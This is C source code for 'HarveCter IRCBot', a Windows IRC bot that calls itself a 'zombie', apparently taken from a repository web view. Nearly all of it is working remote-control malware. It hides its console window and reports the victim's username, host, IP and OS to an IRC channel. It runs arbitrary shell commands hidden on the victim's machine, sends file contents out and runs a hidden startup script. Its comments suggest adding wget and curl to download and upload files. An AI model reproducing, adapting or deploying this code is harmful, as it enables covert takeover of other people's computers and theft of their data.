2 HarveCter IRCBot 1.0b-RC1
3 This "313373" code by: Harvie 2oo7
4 Minimalistic Windows IRC Bot/Zombie/Whatever you want...
7 Optimalized for Dev-Cpp
8 Compile as window app to make a daemon
11 There is not so big security!!!
12 If you want to keep your zombies,
13 control them only by PM or at completely secure channel!!!
14 All passwords, that are starting with your password will be accepted!!!
17 Warning: all commands are case sensitive
19 !login [login] //Bad login=logout
20 !chanpass //Set mode +k
24 !CMD [shell command] //Execute command @ zombie
25 !head [file to send] //Send few (maxlines_to_send) lines of file
26 !raw [line to send] //Sends raw line to server (you can OP yourself)
27 !info //Info about zombie
28 !time //Localtime @ zombie
29 !show //Show console window
30 !hide //Hide console window
31 !restart //Restart connection
32 !respawn //Restart whole zombie
38 //PREPROC:////////////////////////////////////////////////////////////////
44 #pragma comment(lib,"ws2_32.a");
46 //SETTINGS:///////////////////////////////////////////////////////////////
47 char server
[] = "irc.2600.net"; //IRC Server
48 int port
= 6667; //Port of IRC Server
49 char channel
[] = "#hv"; //IRC Channel
50 char pass
[] = "test"; //Bot Password
51 char chanpass
[] = "lol"; //Channel Password
52 char rcfile
[] = "hircb.rc.bat"; //Run this file hidden at bot startup
53 int maxlines_to_send
= 3; //Number of max lines to send at one time
54 #define DEBUG //Enables printing/loging
55 #define ENABLE_EXEC //Compile !CMD
56 //MAGICS://///////////////////////////////////////////////////////////////
57 #define CONNECT_CHECKER_SLEEP 20000
58 #define CONNECT_FAIL_SLEEP 5000
59 #define IRC_JOIN_SLEEP 2000
60 #define IRC_RETRY_SLEEP 1000
61 #define MAXCHARS 768 //Maximum lenght of IRC message (RFC - 6 * 128 = 768)
62 //MISC:///////////////////////////////////////////////////////////////////
63 char version
[] = "1.0b-RC1"; //Bot version
64 char cmdfile
[] = "zzzcommands.bat";
65 char nick
[128] = "Harvecter"; //Doesn't matter - Username of active user (via getenv()) will be used instead
69 //FUNCTIONS://///////////////////////////////////////////////////////////
71 //CUT String to 768 characters
72 void irc_cut_text(char *line
) {
74 *(line
+MAXCHARS
-1) = '\n';
77 //Sends IRC message "msg" to "channel" over socket "s".
78 int irc_sendmsg(int s
, char *channel
, char *msg
) {
82 sprintf(snd
, ": PRIVMSG %s :%s\n", channel
, msg
);
85 err
= send(s
, snd
, len
, 0);
87 printf("%s", snd
); //Show
92 //This is thread to check/ping irc connection on background
93 int irc_check_socket
= -1;
94 int irc_check_last
= 0;
95 int irc_check_thread() {
96 unsigned char ping
[] = "PING\n";
97 int irc_check_time
, len
, err
;
98 while(irc_check_last
<= 0) sleep(500);
100 sleep(CONNECT_CHECKER_SLEEP
);
102 puts("Checking connection...");
104 if(irc_check_socket
>= 0) {
106 puts("Pinging IRC Server...");
108 err
= send(irc_check_socket
, ping
, strlen(ping
), 0);
111 printf("Server latency: %d\n", time(0)-irc_check_last
-1.5);
113 if(time(0)-irc_check_last
> (CONNECT_CHECKER_SLEEP
/1000)+10 || err
== -1) {
115 puts("Server not responding - disconnecting!\n\n");
117 closesocket(irc_check_socket
);
124 //MAIN_FUNCTION://////////////////////////////////////////////////////////
125 int main(int argc
, char *argv
[]) {
127 //MORE SETTINGS://////////////////////////////////////////////////////////
128 //AllocConsole(); //Show
129 //FreeConsole(); //Hide... ;)
130 //freopen("log.txt", "ab", stdout); //Log all outputs to file
131 //INITIALIZATIONS:////////////////////////////////////////////////////////
138 unsigned char lclhost
[256], lclhostnm
[256], hostmsg
[1000], linebuf
[600];
139 char *user
, *processor
, *root
, *logonsrvr
, *os
, rnd
[10];
140 //Load enviroment variables
141 user
= getenv("USERNAME");
142 processor
= getenv("PROCESSOR_IDENTIFIER");
143 root
= getenv("SystemRoot");
144 logonsrvr
= getenv("LOGONSERVER");
146 //Generate nick from username and random number
147 sprintf(rnd
, "%i", rand());
148 sprintf(nick
, "H-%s-%s", user
, rnd
);
150 struct tm
*localtime(const time_t *tod
);
155 //Start connection checking thread:
156 unsigned checker_thread_id
;
157 unsigned long checker_handle
;
158 checker_handle
= _beginthreadex( NULL
, 0, irc_check_thread
, 0, 0, &checker_thread_id
);
159 if (checker_handle
== 0) {
161 puts("Cannot create connection watching thread!");
165 //////////////////////////////////////////////////////////////////////////
166 //CODE:///////////////////////////////////////////////////////////////////
167 //////////////////////////////////////////////////////////////////////////
169 //Delete cmdfile (Hell knows it's useful...)
170 cmdf
= fopen(cmdfile
, "w");
171 fprintf(cmdf
, "del %s 2>nul\n", cmdfile
);
173 WinExec(cmdfile
,SW_HIDE
);
177 printf("HarveCter IRCBot v%s\nConnecting: %s@%s:%i as %s\n\n", version
, channel
, server
, port
, nick
);
179 //Execute startup script
180 WinExec(rcfile
,SW_HIDE
); //Run rcfile (hidden)
182 //Declarations for WSA
185 HOSTENT
*host
, *localhost
;
187 WSAStartup(MAKEWORD(1,1),&wsadata
);
189 //Set details for WSA
190 while( (host
=gethostbyname(server
)) == NULL
){ //Host
192 printf("!Error server host not found\nwaiting 5s...\n");
194 sleep(CONNECT_FAIL_SLEEP
);
196 sck
.sin_family
= PF_INET
;
197 memcpy(&sck
.sin_addr
.s_addr
, host
->h_addr
, host
->h_length
);
198 sck
.sin_port
= htons(port
); //Port
201 while ((localhost
=gethostbyname("")) == NULL
) {
203 printf("!Error local host not found\nwaiting 5s...\n");
205 sleep(CONNECT_FAIL_SLEEP
);
207 sprintf(lclhostnm
, "%s", localhost
->h_name
);
208 sprintf(lclhost
, "%s", inet_ntoa(*((struct in_addr
*)localhost
->h_addr
)));
209 sprintf(hostmsg
, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s - VERSION: %s\n", user
, lclhostnm
, lclhost
, logonsrvr
, os
, root
, processor
, version
);
211 printf("%s\n", hostmsg
);
214 //Initialization of strings used for IRC communication, etc...
215 int len
, err
; //Lenght, Error
216 char snd
[1024], msg
[1000], rcv
[1024], passin
[1000], *sub
;
218 //Infinite loop (bot can't stop)
220 irc_check_socket
= -1; //disable connection checking
223 s
=socket(AF_INET
, SOCK_STREAM
, 0);
226 while( ( connect(s
, (struct sockaddr
*)&sck
, sizeof(sck
)) ) ) {
228 printf("!Error while connecting\nwaiting 5s...\n");
230 sleep(CONNECT_FAIL_SLEEP
);
232 irc_check_socket
= s
; //enable connection checking for socket s
235 sprintf(snd
, "USER USER %s # # :%s\nNICK %s\nJOIN %s\n", nick
, nick
, nick
);
238 err
= send(s
, snd
, len
, 0);
240 //Join&Set channel password
241 sprintf(snd
, "JOIN %s %s\n", channel
, chanpass
); len
= strlen(snd
); err
= send(s
, snd
, len
, 0);
242 sleep(IRC_RETRY_SLEEP
);
243 err
= send(s
, snd
, len
, 0);
244 //mode #chan +k heslo
245 sleep(IRC_JOIN_SLEEP
);
246 sprintf(snd
, "MODE %s +n+s+k %s\n", channel
, chanpass
); len
= strlen(snd
); err
= send(s
, snd
, len
, 0);
247 sleep(IRC_RETRY_SLEEP
);
248 err
= send(s
, snd
, len
, 0);
252 sprintf(msg
, "Hello ;), let my introduce myself... I am %s v%s", nick
, version
); //Zprava
253 err
= irc_sendmsg(s
, channel
, msg
);
254 sprintf(msg
, "!chanpass"); //Request channell operator to set channell password (mode +n+k)
255 err
= irc_sendmsg(s
, channel
, msg
);
257 //Loop (while connection exists)
259 while(err
&& err
!= -1) {
262 sprintf(snd
, "JOIN %s %s\n", channel
, chanpass
); len
= strlen(snd
); err
= send(s
, snd
, len
, 0);
265 memset(rcv
, '\0', 1024);
267 err
= recv(s
, rcv
, 1020, 0);
272 irc_check_last
= time(0); //For connection checker
274 //PING-PONG (Respond to server pings only)
275 if ( (sub
= (strstr(rcv
, "PING :"))) ) {
277 sprintf(snd
, "PONG :%s", sub
);
280 err
= send(s
, snd
, len
, 0);
287 if ( (sub
= (strstr(rcv
, ":!chanpass"))) ) {
289 printf("!Setting chanpass\n");
291 sprintf(snd
, "MODE %s +n+s+k %s\n", channel
, chanpass
);
294 err
= send(s
, snd
, len
, 0);
299 if ( (sub
= (strstr(rcv
, ":!login "))) ) {
301 sprintf(passin
, "%s", sub
);
302 if ( strstr(passin
, pass
) ) { //Use this condition to check login.
303 sprintf(msg
, "Login succesful");
304 err
= irc_sendmsg(s
, channel
, msg
);
306 printf("\n!!!Login succesful\n");
309 sprintf(msg
, "Loged out");
310 err
= irc_sendmsg(s
, channel
, msg
);
312 printf("!!!Loged out\n\n");
319 if ( strstr(passin
, pass
) ) {
322 if ( (sub
= (strstr(rcv
, ":!SAY "))) ) {
324 sprintf(msg
, "MSG: %s", sub
); //Zprava
325 err
= irc_sendmsg(s
, channel
, msg
);
329 //INFO (USER, DOMAIN, IP, ARCHITECTURE)
330 if ( (sub
= (strstr(rcv
, ":!info"))) ) {
331 err
= irc_sendmsg(s
, channel
, hostmsg
);
336 if ( (sub
= (strstr(rcv
, ":!time"))) ) {
342 p_st_cas
= localtime(&cas
);
344 strftime(msg
, 512, "%H:%M:%S (%p) - %d(%A) %m(%B) %Y - %Z", p_st_cas
);
345 err
= irc_sendmsg(s
, channel
, msg
);
350 if ( (sub
= (strstr(rcv
, ":!raw "))) ) {
354 err
= send(s
, sub
, len
, 0);
360 //Hey! Don't forget to download wget&curl in bot directory!! ;D
361 //With wget and curl you will be able to download and upload files...
362 if ( (sub
= (strstr(rcv
, ":!CMD "))) ) {
365 printf("!CMD %s", sub
);
368 sprintf(msg
, "Executing: %s", sub
);
369 irc_sendmsg(s
, channel
, msg
);
371 printf("!!! %s", msg
);
374 FILE *cmdf
= fopen(cmdfile
, "w");
375 fprintf(cmdf
, "%s\ndel %s\n", sub
, cmdfile
);
378 WinExec(cmdfile
,SW_HIDE
); //Hide console window
379 //system(cmdfile); //Show console window
385 if ( (sub
= (strstr(rcv
, ":!head "))) ) {
388 printf("!head %s", sub
);
391 for(i
=0;i
<strlen(sub
);i
++) {
392 if(sub
[i
]=='\n' || sub
[i
]=='\r') sub
[i
]=0;
396 if((cmdf
= fopen(sub
, "r")) != NULL
) {
397 for(i
=0;i
<maxlines_to_send
;i
++) {
398 fgets(linebuf
, (600-1), cmdf
);
399 sprintf(msg
, "%s: %s\n", sub
, linebuf
);
400 irc_sendmsg(s
, channel
, msg
);
402 printf("-> %s", msg
);
411 if ( (sub
= (strstr(rcv
, ":!hide"))) ) { FreeConsole(); } sub
= 0;
412 if ( (sub
= (strstr(rcv
, ":!show"))) ) { AllocConsole(); } sub
= 0;
414 //RESTART connection to server
415 if ( (sub
= (strstr(rcv
, ":!restart"))) ) {
416 sprintf(msg
, "Please wait while restarting...");
417 err
= irc_sendmsg(s
, channel
, msg
);
419 sprintf(msg
, "ERROR: Couldn't close socket :(");
420 err
= irc_sendmsg(s
, channel
, msg
);
422 printf("\nRESTARTING...\n\n");
427 //RESPAWN (restarts all)
428 if ( (sub
= (strstr(rcv
, ":!respawn"))) ) {
429 sprintf(msg
, "Please wait while respawning...");
430 err
= irc_sendmsg(s
, channel
, msg
);
432 printf("\nRESPAWNING...\n\n");
435 execl(argv
[0], NULL
); //Exchange old process for new (argv[0])
436 sprintf(msg
, "ERROR: Couldn't respawn :(");
437 err
= irc_sendmsg(s
, channel
, msg
);
439 printf("ERROR: Couldn't respawn :(\n");
444 }//END LOCKED COMMANDS
450 printf("!Error while sending\nwaiting 5s before reconnect...\n");
452 sleep(CONNECT_FAIL_SLEEP
);
455 //Finito (never reach here)
457 WSACleanup(); //Flush WSA
This page took 0.960079 seconds and 4 git commands to generate.